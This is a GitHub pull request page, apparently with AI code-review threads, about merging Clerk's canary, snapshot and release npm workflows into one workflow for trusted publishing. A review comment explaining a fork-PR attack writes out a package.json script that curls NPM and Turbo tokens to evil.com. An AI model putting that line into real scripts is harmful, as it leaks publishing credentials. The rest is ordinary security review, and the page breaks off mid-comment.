Skip to content

chore(repo): Move to trusted publishing#7915

Open
dominic-clerk wants to merge 3 commits intomainfrom
dc-trusted-publishing
Open

chore(repo): Move to trusted publishing#7915
dominic-clerk wants to merge 3 commits intomainfrom
dc-trusted-publishing

Conversation

@dominic-clerk
Copy link
Contributor

@dominic-clerk dominic-clerk commented Feb 24, 2026

Description

Trusted publishing configuration requires the name of the workflow publishing the package and unfortunately only one workflow can be used. This is why this PR also moves everything to a single release.yml.

We used to be forced to setup Trusted Publishing through ClickOps ™️ but now it's supported on the CLI (https://github.blog/changelog/2026-02-18-npm-bulk-trusted-publishing-config-and-script-security-now-generally-available/).

The final hurdle is that packages must be pushed from a single workflow so this PR attemps to make that a reality without making things too horrible at the same time.

Changes introduced:

  • Single workflow file now: canary + snapshot logic moved into release.yml.
  • Trusted publishing auth: removed NODE_AUTH_TOKEN/NPM_TOKEN from publish steps; relies on id-token: write OIDC.
  • Trigger consolidation: release.yml now has both push and issue_comment triggers.
  • Job guards added: release/canary-release run only on push; snapshot-release runs only on PR comments that start with !snapshot.
  • Concurrency changed for snapshot comments: now keyed by issue + actor (issue--), instead of ref + actor. On issue_comment trigger github.ref always returns the default branch.
  • Cache job guard added: cache-for-alternate-node-versions now explicitly runs only on push. Before consolidation, that cache job only existed in a push-only workflow.

Publish behavior should stay the same for release/canary/snapshot logic (same scripts, same build/publish flow), except auth is now OIDC-based.

Checklist

  • pnpm test runs as expected.
  • pnpm build runs as expected.
  • (If applicable) JSDoc comments have been added or updated for any package exports
  • (If applicable) Documentation has been updated

Type of change

  • 🐛 Bug fix
  • 🌟 New feature
  • 🔨 Breaking change
  • 📖 Refactoring / dependency upgrade / documentation
  • other: CI

Summary by CodeRabbit

  • New Features
    • Added automated canary and on-demand snapshot release paths, with snapshot command support and validations (naming and PR freshness) for safer preview releases.
  • Chores
    • Removed legacy CI workflow files and consolidated release logic into a single, centralized pipeline; improved concurrency and downstream dispatching for related projects.

Trusted publishing configuration requires the name of the workflow
publishing the package and unfortunately only one workflow can be used.
This is why this PR also moves everything to a single release.yml.
@vercel
Copy link

vercel bot commented Feb 24, 2026

The latest updates on your projects. Learn more about Vercel for GitHub.

Project Deployment Actions Updated (UTC)
clerk-js-sandbox Ready Ready Preview, Comment Feb 24, 2026 3:08pm

Request Review

@changeset-bot
Copy link

changeset-bot bot commented Feb 24, 2026

⚠️ No Changeset found

Latest commit: 38b3481

Merging this PR will not cause a version bump for any packages. If these changes should not result in a new version, you're good to go. If these changes should result in a version bump, you need to add a changeset.

This PR includes no changesets

When changesets are added to this PR, you'll see the packages that this PR includes changesets for and the associated semver types

Click here to learn what changesets are, and how to add one.

Click here if you're a maintainer who wants to add a changeset to this PR

@pkg-pr-new
Copy link

pkg-pr-new bot commented Feb 24, 2026

Open in StackBlitz

@clerk/agent-toolkit

npm i https://pkg.pr.new/@clerk/agent-toolkit@7915

@clerk/astro

npm i https://pkg.pr.new/@clerk/astro@7915

@clerk/backend

npm i https://pkg.pr.new/@clerk/backend@7915

@clerk/chrome-extension

npm i https://pkg.pr.new/@clerk/chrome-extension@7915

@clerk/clerk-js

npm i https://pkg.pr.new/@clerk/clerk-js@7915

@clerk/dev-cli

npm i https://pkg.pr.new/@clerk/dev-cli@7915

@clerk/expo

npm i https://pkg.pr.new/@clerk/expo@7915

@clerk/expo-passkeys

npm i https://pkg.pr.new/@clerk/expo-passkeys@7915

@clerk/express

npm i https://pkg.pr.new/@clerk/express@7915

@clerk/fastify

npm i https://pkg.pr.new/@clerk/fastify@7915

@clerk/hono

npm i https://pkg.pr.new/@clerk/hono@7915

@clerk/localizations

npm i https://pkg.pr.new/@clerk/localizations@7915

@clerk/nextjs

npm i https://pkg.pr.new/@clerk/nextjs@7915

@clerk/nuxt

npm i https://pkg.pr.new/@clerk/nuxt@7915

@clerk/react

npm i https://pkg.pr.new/@clerk/react@7915

@clerk/react-router

npm i https://pkg.pr.new/@clerk/react-router@7915

@clerk/shared

npm i https://pkg.pr.new/@clerk/shared@7915

@clerk/tanstack-react-start

npm i https://pkg.pr.new/@clerk/tanstack-react-start@7915

@clerk/testing

npm i https://pkg.pr.new/@clerk/testing@7915

@clerk/ui

npm i https://pkg.pr.new/@clerk/ui@7915

@clerk/upgrade

npm i https://pkg.pr.new/@clerk/upgrade@7915

@clerk/vue

npm i https://pkg.pr.new/@clerk/vue@7915

commit: 38b3481

@coderabbitai
Copy link
Contributor

coderabbitai bot commented Feb 24, 2026

📝 Walkthrough

Walkthrough

Two workflow files (.github/workflows/release-canary.yml and .github/workflows/release-snapshot.yml) were removed and their functionality consolidated into .github/workflows/release.yml. The consolidated workflow now supports push-triggered releases including a canary-release job and issue_comment-triggered snapshot-release job, expands concurrency grouping, tightens run conditions, adds versioning/build/publish steps for canary and snapshot flows, includes name and freshness validations for snapshots, and dispatches downstream workflow updates to related repositories when versions change.

🚥 Pre-merge checks | ✅ 3
✅ Passed checks (3 passed)
Check name Status Explanation
Title check ✅ Passed The title accurately reflects the main purpose of the PR—consolidating publishing workflows to enable Trusted Publishing, which requires a single workflow.
Docstring Coverage ✅ Passed No functions found in the changed files to evaluate docstring coverage. Skipping docstring coverage check.
Description Check ✅ Passed Check skipped - CodeRabbit’s high-level summary is enabled.

✏️ Tip: You can configure your own custom pre-merge checks in the settings.


Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands and usage tips.

Copy link
Contributor

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 2

🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.

Inline comments:
In @.github/workflows/release.yml:
- Around line 199-289: The snapshot-release job currently checks out PR head and
runs npm scripts, which can execute untrusted code from forked PRs; add an
explicit guard early (before the "Checkout repo" step) in the snapshot-release
job to fetch the PR metadata and fail if the PR is from a fork (check properties
on the PR like pr.head.repo.fork or pr.head.repo.full_name !==
pr.base.repo.full_name). Update the actions/github-script step (the existing
"Limit action to Clerk members" or add a new pre-check step) to call
github.rest.pulls.get for the PR and call core.setFailed when the PR is a fork
to prevent secrets from being exposed by subsequent checkout and npm run steps
(e.g., the "Checkout repo", "Version packages for snapshot", "Build release",
and "Snapshot release" steps).
- Around line 210-224: The failure path uses an undefined identifier `actor` in
the core.setFailed call; update the script inside the GitHub Actions step that
performs the membership check (the isMember check and core.setFailed invocation)
to use the existing context.actor variable (or otherwise capture context.actor
into a local variable) when constructing the error message so core.setFailed
references a defined value.

ℹ️ Review info

Configuration used: Repository YAML (base), Organization UI (inherited)

Review profile: CHILL

Plan: Pro

Disabled knowledge base sources:

  • Linear integration is disabled

You can enable these sources in your CodeRabbit configuration.

📥 Commits

Reviewing files that changed from the base of the PR and between 29ee848 and 23150d7.

📒 Files selected for processing (3)
  • .github/workflows/release-canary.yml
  • .github/workflows/release-snapshot.yml
  • .github/workflows/release.yml
💤 Files with no reviewable changes (2)
  • .github/workflows/release-snapshot.yml
  • .github/workflows/release-canary.yml

Comment on lines 199 to 289
snapshot-release:
name: Snapshot release
if: ${{ github.event_name == 'issue_comment' && startsWith(github.event.comment.body, '!snapshot') && github.repository == 'clerk/javascript' && github.event.issue.pull_request }}
runs-on: ${{ vars.RUNNER_LARGE || 'ubuntu-latest-l' }}
timeout-minutes: ${{ vars.TIMEOUT_MINUTES_NORMAL && fromJSON(vars.TIMEOUT_MINUTES_NORMAL) || 10 }}

permissions:
contents: read
id-token: write

steps:
- name: Limit action to Clerk members
uses: actions/github-script@v7
with:
result-encoding: string
retries: 3
retry-exempt-status-codes: 400,401
github-token: ${{ secrets.CLERK_COOKIE_PAT }}
script: |
const isMember = await github.rest.orgs.checkMembershipForUser({
org: 'clerk',
username: context.actor
});
if (!isMember) {
core.setFailed(`@${actor} is not a member of the Clerk organization`);
}

- name: Checkout repo
uses: actions/checkout@v4
with:
ref: refs/pull/${{ github.event.issue.number }}/head
fetch-depth: 1
fetch-tags: false
filter: 'blob:none'

- name: Ensure the PR hasn't changed since initiating the !snapshot command.
uses: actions/github-script@v7
with:
result-encoding: string
retries: 3
retry-exempt-status-codes: 400,401
github-token: ${{ secrets.CLERK_COOKIE_PAT }}
script: |
const commentCreated = new Date(context.payload.comment.created_at);

const pr = await github.rest.pulls.get({
owner: 'clerk',
repo: 'javascript',
pull_number: context.issue.number,
});

const prLastUpdated = new Date(pr.updated_at);

if (prLastUpdated > commentCreated) {
core.setFailed("The PR has been updated since !snapshot was initiated. Please review the changes and re-run the !snapshot command.");
}

- name: Setup
id: config
uses: ./.github/actions/init
with:
turbo-signature: ${{ secrets.TURBO_REMOTE_CACHE_SIGNATURE_KEY }}
turbo-team: ${{ vars.TURBO_TEAM }}
turbo-token: ${{ secrets.TURBO_TOKEN }}
registry-url: 'https://registry.npmjs.org'

- name: Extract snapshot name
id: extract-snapshot-name
uses: actions/github-script@v7
with:
script: |
const match = context.payload.comment.body.match(/!snapshot (.*)/)
const name = match && match[1] || '';
const isKebabCase = name.match(/^[a-z]+(-[a-z]+)*$/)
if(name && !isKebabCase) {
core.setFailed(`Invalid snapshot name: ${name}`);
}
core.setOutput('name', name);

- name: Version packages for snapshot
id: version-packages
run: npm run version-packages:snapshot ${{ steps.extract-snapshot-name.outputs.name }} | tail -1 >> "$GITHUB_OUTPUT"

- name: Build release
if: steps.version-packages.outputs.success == '1'
run: npx turbo build $TURBO_ARGS

- name: Snapshot release
if: steps.version-packages.outputs.success == '1'
run: npm run release:snapshot
env:
Copy link
Contributor

@coderabbitai coderabbitai bot Feb 24, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🔴 Critical

Block snapshot runs on fork PRs to prevent secret exfiltration.
The snapshot workflow runs on issue_comment, checks out PR head code, and executes npm scripts while PAT/TURBO/id-token are available. A member triggering !snapshot on a fork PR could leak secrets. Add an explicit guard to fail for forked PRs before checkout (or move build/publish to a trusted workflow that never runs untrusted code).

🔒 Proposed guard against fork PRs
     steps:
+      - name: Guard against fork PRs
+        id: guard
+        uses: actions/github-script@v7
+        with:
+          github-token: ${{ github.token }}
+          script: |
+            const pr = await github.rest.pulls.get({
+              owner: 'clerk',
+              repo: 'javascript',
+              pull_number: context.issue.number,
+            });
+            if (pr.head.repo.full_name !== pr.base.repo.full_name) {
+              core.setFailed('Snapshots are restricted to branches within clerk/javascript.');
+            }
+
       - name: Checkout repo
         uses: actions/checkout@v4
🧰 Tools
🪛 GitHub Check: CodeQL

[failure] 256-265: Checkout of untrusted code in a privileged context
Potential execution of untrusted code on a privileged workflow (issue_comment)


[failure] 278-282: Checkout of untrusted code in a privileged context
Potential execution of untrusted code on a privileged workflow (issue_comment)

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In @.github/workflows/release.yml around lines 199 - 289, The snapshot-release
job currently checks out PR head and runs npm scripts, which can execute
untrusted code from forked PRs; add an explicit guard early (before the
"Checkout repo" step) in the snapshot-release job to fetch the PR metadata and
fail if the PR is from a fork (check properties on the PR like pr.head.repo.fork
or pr.head.repo.full_name !== pr.base.repo.full_name). Update the
actions/github-script step (the existing "Limit action to Clerk members" or add
a new pre-check step) to call github.rest.pulls.get for the PR and call
core.setFailed when the PR is a fork to prevent secrets from being exposed by
subsequent checkout and npm run steps (e.g., the "Checkout repo", "Version
packages for snapshot", "Build release", and "Snapshot release" steps).

Copy link
Contributor Author

@dominic-clerk dominic-clerk Feb 24, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The "Limit action to Clerk members" job protects against those issues

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@dominic-clerk Thanks! The member-only gate definitely helps, but it doesn’t fully cover the fork-PR case. A Clerk org member can still comment !snapshot on a forked PR, which causes this job to run in the base repo context with:

  • id-token: write (OIDC available to all steps)
  • CLERK_COOKIE_PAT used in multiple github-script steps
  • TURBO_* secrets during Setup/publish

Because we then check out the PR head and run npm scripts, untrusted fork code could exfiltrate tokens. That’s the “checkout of untrusted code in a privileged context” CodeQL finding.

Two small hardening changes close this gap without changing behavior for same-repo PRs:

  1. Fail early on fork PRs (before checkout)
  snapshot-release:
     steps:
       - name: Limit action to Clerk members
         uses: actions/github-script@v7
         with:
           result-encoding: string
           retries: 3
           retry-exempt-status-codes: 400,401
           github-token: ${{ secrets.CLERK_COOKIE_PAT }}
           script: |
             const isMember = await github.rest.orgs.checkMembershipForUser({
               org: 'clerk',
               username: context.actor
             });
             if (!isMember) {
-              core.setFailed(`@${actor} is not a member of the Clerk organization`);
+              core.setFailed(`@${context.actor} is not a member of the Clerk organization`);
             }
+
+      - name: Guard against fork PRs
+        uses: actions/github-script@v7
+        with:
+          github-token: ${{ github.token }}
+          script: |
+            const { owner, repo } = context.repo;
+            const { data: pr } = await github.rest.pulls.get({
+              owner, repo, pull_number: context.issue.number,
+            });
+            if (pr.head.repo.fork || pr.head.repo.full_name !== pr.base.repo.full_name) {
+              core.setFailed('Snapshots are restricted to branches within clerk/javascript (no forks).');
+            }
  1. Run the “PR hasn’t changed” check before checkout (also fixes Octokit response usage)
-      - name: Checkout repo
-        uses: actions/checkout@v4
-        with:
-          ref: refs/pull/${{ github.event.issue.number }}/head
-          fetch-depth: 1
-          fetch-tags: false
-          filter: 'blob:none'
-
-      - name: Ensure the PR hasn't changed since initiating the !snapshot command.
+      - name: Ensure the PR hasn't changed since initiating the !snapshot command.
         uses: actions/github-script@v7
         with:
           result-encoding: string
           retries: 3
           retry-exempt-status-codes: 400,401
           github-token: ${{ secrets.CLERK_COOKIE_PAT }}
           script: |
             const commentCreated = new Date(context.payload.comment.created_at);
-            const pr = await github.rest.pulls.get({
-              owner: 'clerk',
-              repo: 'javascript',
-              pull_number: context.issue.number,
-            });
-            const prLastUpdated = new Date(pr.updated_at);
+            const { data: pr } = await github.rest.pulls.get({
+              owner: 'clerk',
+              repo: 'javascript',
+              pull_number: context.issue.number,
+            });
+            const prLastUpdated = new Date(pr.updated_at);
             if (prLastUpdated > commentCreated) {
               core.setFailed("The PR has been updated since !snapshot was initiated. Please review the changes and re-run the !snapshot command.");
             }
+
+      - name: Checkout repo
+        uses: actions/checkout@v4
+        with:
+          ref: refs/pull/${{ github.event.issue.number }}/head
+          fetch-depth: 1
+          fetch-tags: false
+          filter: 'blob:none'

If you’re good with this approach, I can prep a follow-up commit/PR with the changes above. This keeps snapshots convenient for same-repo branches while closing the fork exfiltration path.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

What's the difference between a clerk org member posting !snapshot in a fork or in this repo?

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@dominic-clerk Great question! The key difference is code trust, not user trust.

Same-repo PR:

  • Code comes from a branch inside clerk/javascript
  • To create that branch, someone needed write access to the repo
  • There's organizational control and trust over the code

Fork PR:

  • Code comes from an external repository that anyone on the internet can fork
  • The fork owner could be malicious or compromised
  • When a Clerk member comments !snapshot on a fork PR, the workflow runs in the base repo context (with all secrets), but then checks out and executes code from the fork

Attack scenario:

  1. Attacker forks clerk/javascript
  2. Attacker modifies package.json scripts to exfiltrate secrets:
    "version-packages:snapshot": "curl -X POST https://evil.com -d \"$NPM_TOKEN $TURBO_TOKEN\"",
  3. Attacker opens a PR from their fork with an innocuous title
  4. A Clerk member (you) reviews the visible code changes, looks good
  5. You comment !snapshot test-feature to test it
  6. The workflow runs with id-token: write, CLERK_COOKIE_PAT, TURBO_* secrets
  7. Workflow checks out the attacker's fork code (Line 251)
  8. Workflow runs npm run version-packages:snapshot (Line 292) — executing the attacker's modified script
  9. Secrets are exfiltrated

Malicious actors could add code to a PR that exfiltrates your secrets, which is exactly what running untrusted code in a context with secrets could exploit.

The member-only gate prevents who can trigger the workflow, but doesn't prevent what code gets executed. For same-repo PRs, both the user and the code are trusted. For fork PRs, the user is trusted but the code isn't.

Would you like me to add the fork PR guard to close this gap?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

We trust our org members enough for now, will do the hardening in a follow-up PR

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@dominic-clerk Understood! I respect that decision. Would you like me to open a follow-up issue to track the fork PR hardening work? I can create it on GitHub or one of your Linear teams (PLAT, COM, ORGS) with the details and a link back to this discussion.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Create an issue in the SEC team

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🧩 Analysis chain

@dominic-clerk I'll create an issue in the SEC team to track the fork PR hardening work.


🏁 Script executed:

#!/bin/bash

# Check if Linear CLI is available and try to create the issue in SEC team
if command -v linear &> /dev/null; then
  # Using Linear CLI
  linear issue create \
    --team SEC \
    --title "Harden snapshot workflow against fork PR secret exfiltration" \
    --description "## Context

The snapshot-release job in .github/workflows/release.yml currently checks out PR head code and executes npm scripts while sensitive credentials are available (id-token: write, CLERK_COOKIE_PAT, TURBO_* secrets).

While the workflow requires the triggering user to be a Clerk org member, it doesn't prevent members from triggering !snapshot on forked PRs. This creates a potential attack vector where:
1. Attacker forks clerk/javascript
2. Attacker modifies package.json scripts to exfiltrate secrets
3. Attacker opens PR from fork
4. Clerk member comments !snapshot on the fork PR
5. Workflow runs with secrets and executes attacker's malicious scripts

## Proposed Solution

Add two hardening measures:

1. **Fork PR guard** - Fail early if PR is from a fork (before checkout)
2. **Move PR freshness check before checkout** - Prevents running stale code and fixes Octokit response handling

See detailed implementation in: https://github.com/clerk/javascript/pull/7915#discussion_r2847390229

## References

- PR: https://github.com/clerk/javascript/pull/7915
- Comment thread: https://github.com/clerk/javascript/pull/7915#discussion_r2847390229
- Requested by: `@dominic-clerk`
- CodeQL finding: Checkout of untrusted code in a privileged context" \
    --assignee dominic-clerk
else
  # Try using GitHub CLI with Linear integration or direct API call
  echo "Linear CLI not found. Attempting to use GitHub CLI or provide manual instructions."
  
  # Check if gh is available
  if command -v gh &> /dev/null; then
    echo "GitHub CLI is available but Linear team creation requires Linear CLI or API access."
    echo "Please provide Linear API key or confirm team identifier."
  fi
  
  # Provide fallback information
  echo ""
  echo "=== Manual Issue Creation Required ==="
  echo "Team: SEC"
  echo "Title: Harden snapshot workflow against fork PR secret exfiltration"
  echo ""
  echo "Description:"
  echo "## Context"
  echo ""
  echo "The snapshot-release job in .github/workflows/release.yml currently checks out PR head code and executes npm scripts while sensitive credentials are available (id-token: write, CLERK_COOKIE_PAT, TURBO_* secrets)."
  echo ""
  echo "While the workflow requires the triggering user to be a Clerk org member, it doesn't prevent members from triggering !snapshot on forked PRs. This creates a potential attack vector where:"
  echo "1. Attacker forks clerk/javascript"
  echo "2. Attacker modifies package.json scripts to exfiltrate secrets"
  echo "3. Attacker opens PR from fork"
  echo "4. Clerk member comments !snapshot on the fork PR"
  echo "5. Workflow runs with secrets and executes attacker's malicious scripts"
  echo ""
  echo "## Proposed Solution"
  echo ""
  echo "Add two hardening measures:"
  echo ""
  echo "1. **Fork PR guard** - Fail early if PR is from a fork (before checkout)"
  echo "2. **Move PR freshness check before checkout** - Prevents running stale code and fixes Octokit response handling"
  echo ""
  echo "See detailed implementation in: https://github.com/clerk/javascript/pull/7915#discussion_r2847390229"
  echo ""
  echo "## References"
  echo ""
  echo "- PR: https://github.com/clerk/javascript/pull/7915"
  echo "- Comment thread: https://github.com/clerk/javascript/pull/7915#discussion_r2847390229"
  echo "- Requested by: `@dominic-clerk`"
  echo "- CodeQL finding: Checkout of untrusted code in a privileged context"
  echo ""
  echo "Assignee: dominic-clerk"
fi

Length of output: 1642


@dominic-clerk I'm unable to create a Linear issue automatically because the sandbox environment doesn't have Linear CLI or API credentials configured.

However, I've prepared the complete issue details for you to create manually in the SEC team:

Team: SEC
Title: Harden snapshot workflow against fork PR secret exfiltration
Assignee: dominic-clerk

Description:

## Context

The snapshot-release job in .github/workflows/release.yml currently checks out PR head code and executes npm scripts while sensitive credentials are available (id-token: write, CLERK_COOKIE_PAT, TURBO_* secrets).

While the workflow requires the triggering user to be a Clerk org member, it doesn't prevent members from triggering !snapshot on forked PRs. This creates a potential attack vector where:
1. Attacker forks clerk/javascript
2. Attacker modifies package.json scripts to exfiltrate secrets
3. Attacker opens PR from fork
4. Clerk member comments !snapshot on the fork PR
5. Workflow runs with secrets and executes attacker's malicious scripts

## Proposed Solution

Add two hardening measures:

1. **Fork PR guard** - Fail early if PR is from a fork (before checkout)
2. **Move PR freshness check before checkout** - Prevents running stale code and fixes Octokit response handling

See detailed implementation in: https://github.com/clerk/javascript/pull/7915#discussion_r2847390229

## References

- PR: https://github.com/clerk/javascript/pull/7915
- Comment thread: https://github.com/clerk/javascript/pull/7915#discussion_r2847390229
- Requested by: `@dominic-clerk`
- CodeQL finding: Checkout of untrusted code in a privileged context

You can create this issue directly in Linear at your SEC team workspace, or if you'd like me to create it automatically in the future, you can configure Linear API access for the CodeRabbit integration.

Co-authored-by: coderabbitai[bot] <136622811+coderabbitai[bot]@users.noreply.github.com>
Copy link
Contributor

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 4

♻️ Duplicate comments (1)
.github/workflows/release.yml (1)

226-232: [Duplicate] Privileged checkout of potentially untrusted PR head code.

This was flagged by GitHub Advanced Security (CodeQL alerts on lines 256–265, 278–282, 286–292) and in a prior review comment on lines 199–289. The author's position is that the "Limit action to Clerk members" guard is sufficient mitigation.

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In @.github/workflows/release.yml around lines 226 - 232, Duplicate security
flag: the "Checkout repo" step uses actions/checkout@v4 with ref: refs/pull/${{
github.event.issue.number }}/head which performs a privileged checkout of
untrusted PR head code; remove or change this so you do NOT check out forked PR
heads with elevated permissions—either checkout the repository at the safe base
commit (use github.event.pull_request.base.sha or the base ref) or avoid
checking out PR head entirely for forked PRs, and if you must run against PR
code enforce additional mitigations (keep the existing "Limit action to Clerk
members" guard, set persist-credentials: false, and restrict workflow
permissions) in .github/workflows/release.yml's "Checkout repo" step to
eliminate privileged access to untrusted code.
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.

Inline comments:
In @.github/workflows/release.yml:
- Around line 167-197: The createWorkflowDispatch calls are not awaited and can
be lost; update the script to await github.rest.actions.createWorkflowDispatch
for each dispatch (the calls that use clerkjsVersion/clerkUiVersion/sourceCommit
and the conditional nextjsVersion dispatch) or collect them into Promise.all and
await that before returning from the script so the HTTP requests complete; also
apply the same awaiting fix to the identical pattern in the release job.
- Around line 278-291: The snapshot job steps use npm/npx instead of pnpm which
breaks workspace resolution; update the step with id version-packages (step name
"Version packages for snapshot") to invoke the script via pnpm (pnpm run
version-packages:snapshot ...) and change the "Build release" step to run turbo
via pnpm (pnpm turbo $TURBO_ARGS) and the "Snapshot release" step to run the
release script via pnpm (pnpm run release:snapshot), ensuring the same env
(NPM_CONFIG_PROVENANCE) is preserved.
- Around line 218-224: The membership check using
github.rest.orgs.checkMembershipForUser currently treats its return value as
falsy for non-members, but the call throws a RequestError(404) instead; wrap the
call in a try/catch around github.rest.orgs.checkMembershipForUser and on a
caught error check error.status === 404 then call
core.setFailed(`@${context.actor} is not a member of the Clerk organization`)
(and exit/return) so the friendly message is shown, and also ensure 404 is
included in the workflow's retry-exempt-status-codes (or otherwise prevent
retries) so the step does not retry on the 404 path.
- Around line 244-253: The PR freshness guard is using pr.updated_at which is
undefined because Octokit responses put payload under .data; update the logic in
the github.rest.pulls.get handling (the pr variable and prLastUpdated
calculation) to read pr.data.updated_at, parse it safely into a Date, and guard
against invalid dates (e.g., if pr.data.updated_at is missing or new Date(...)
is invalid) so that the comparison with commentCreated behaves correctly and
core.setFailed is invoked when the PR is newer than the comment.

---

Duplicate comments:
In @.github/workflows/release.yml:
- Around line 226-232: Duplicate security flag: the "Checkout repo" step uses
actions/checkout@v4 with ref: refs/pull/${{ github.event.issue.number }}/head
which performs a privileged checkout of untrusted PR head code; remove or change
this so you do NOT check out forked PR heads with elevated permissions—either
checkout the repository at the safe base commit (use
github.event.pull_request.base.sha or the base ref) or avoid checking out PR
head entirely for forked PRs, and if you must run against PR code enforce
additional mitigations (keep the existing "Limit action to Clerk members" guard,
set persist-credentials: false, and restrict workflow permissions) in
.github/workflows/release.yml's "Checkout repo" step to eliminate privileged
access to untrusted code.

ℹ️ Review info

Configuration used: Repository YAML (base), Organization UI (inherited)

Review profile: CHILL

Plan: Pro

Disabled knowledge base sources:

  • Linear integration is disabled

You can enable these sources in your CodeRabbit configuration.

📥 Commits

Reviewing files that changed from the base of the PR and between 23150d7 and 2b41a74.

📒 Files selected for processing (1)
  • .github/workflows/release.yml

Comment on lines +167 to +197
- name: Trigger workflows on related repos
if: steps.publish.outcome == 'success'
uses: actions/github-script@v7
with:
result-encoding: string
retries: 3
retry-exempt-status-codes: 400,401
github-token: ${{ secrets.CLERK_COOKIE_PAT }}
script: |
const clerkjsVersion = require('./packages/clerk-js/package.json').version;
const clerkUiVersion = require('./packages/ui/package.json').version;
const nextjsVersion = require('./packages/nextjs/package.json').version;

github.rest.actions.createWorkflowDispatch({
owner: 'clerk',
repo: 'sdk-infra-workers',
workflow_id: 'update-pkg-versions.yml',
ref: 'main',
inputs: { clerkjsVersion, clerkUiVersion, sourceCommit: context.sha }
})

if (nextjsVersion.includes('canary')) {
console.log('clerk/nextjs changed, will notify clerk/accounts');
github.rest.actions.createWorkflowDispatch({
owner: 'clerk',
repo: 'accounts',
workflow_id: 'release-staging.yml',
ref: 'main',
inputs: { version: nextjsVersion }
})
}
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟠 Major

Unawaited createWorkflowDispatch calls may silently drop downstream triggers.

Neither dispatch on lines 180–186 nor 190–196 is awaited. actions/github-script resolves the script's return value but does not keep the process alive for unawaited floating promises. If the underlying HTTP requests have not completed by the time the script function returns, the dispatches are lost with no error surfaced.

🛠️ Proposed fix
-            github.rest.actions.createWorkflowDispatch({
-              owner: 'clerk',
-              repo: 'sdk-infra-workers',
-              workflow_id: 'update-pkg-versions.yml',
-              ref: 'main',
-              inputs: { clerkjsVersion, clerkUiVersion, sourceCommit: context.sha }
-            })
-
-            if (nextjsVersion.includes('canary')) {
-              console.log('clerk/nextjs changed, will notify clerk/accounts');
-              github.rest.actions.createWorkflowDispatch({
-                owner: 'clerk',
-                repo: 'accounts',
-                workflow_id: 'release-staging.yml',
-                ref: 'main',
-                inputs: { version: nextjsVersion }
-              })
-            }
+            const dispatches = [
+              github.rest.actions.createWorkflowDispatch({
+                owner: 'clerk',
+                repo: 'sdk-infra-workers',
+                workflow_id: 'update-pkg-versions.yml',
+                ref: 'main',
+                inputs: { clerkjsVersion, clerkUiVersion, sourceCommit: context.sha }
+              }),
+            ];
+
+            if (nextjsVersion.includes('canary')) {
+              console.log('clerk/nextjs changed, will notify clerk/accounts');
+              dispatches.push(
+                github.rest.actions.createWorkflowDispatch({
+                  owner: 'clerk',
+                  repo: 'accounts',
+                  workflow_id: 'release-staging.yml',
+                  ref: 'main',
+                  inputs: { version: nextjsVersion }
+                })
+              );
+            }
+
+            await Promise.all(dispatches);

Note: the same pattern exists in the unchanged release job (lines 81–102). Applying the same fix there is recommended for consistency.

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In @.github/workflows/release.yml around lines 167 - 197, The
createWorkflowDispatch calls are not awaited and can be lost; update the script
to await github.rest.actions.createWorkflowDispatch for each dispatch (the calls
that use clerkjsVersion/clerkUiVersion/sourceCommit and the conditional
nextjsVersion dispatch) or collect them into Promise.all and await that before
returning from the script so the HTTP requests complete; also apply the same
awaiting fix to the identical pattern in the release job.

Copy link
Contributor Author

@dominic-clerk dominic-clerk Feb 24, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Will address in a future PR, the issue pre-dates this PR

Comment on lines +244 to +253
const pr = await github.rest.pulls.get({
owner: 'clerk',
repo: 'javascript',
pull_number: context.issue.number,
});

const prLastUpdated = new Date(pr.updated_at);

if (prLastUpdated > commentCreated) {
core.setFailed("The PR has been updated since !snapshot was initiated. Please review the changes and re-run the !snapshot command.");
Copy link
Contributor

@coderabbitai coderabbitai bot Feb 24, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🔴 Critical

🧩 Analysis chain

🏁 Script executed:

# First, check the actual code at lines 244-253
sed -n '244,253p' .github/workflows/release.yml

Repository: clerk/javascript

Length of output: 500


🏁 Script executed:

# Also get broader context around this section (lines 230-260)
sed -n '230,260p' .github/workflows/release.yml

Repository: clerk/javascript

Length of output: 1158


🌐 Web query:

octokit rest pulls.get response structure data property

💡 Result:

octokit.rest.pulls.get(...) (aka octokit.pulls.get(...) in older docs) resolves to an Octokit response object shaped like:

{
  data: PullRequest;   // the API response body
  status: number;      // HTTP status (e.g. 200)
  headers: object;     // response headers
  url: string;         // final request URL
}

So you typically do:

const { data: pullRequest } = await octokit.rest.pulls.get({ owner, repo, pull_number });

data is the “Get a pull request” REST payload (the pull request object: id, number, state, title, user, head, base, merged, etc., per GitHub’s schema). [1][2]

Sources: [1] Octokit REST.js docs (response object includes { data, headers, status, url }) [2] GitHub REST API “Get a pull request” endpoint docs.


pr.updated_at is undefined — the PR freshness guard is silently a no-op.

Octokit wraps all REST response payloads under .data; the response object is shaped as { data: PullRequest, status, headers, url }. The code accesses pr.updated_at directly, which is undefined.

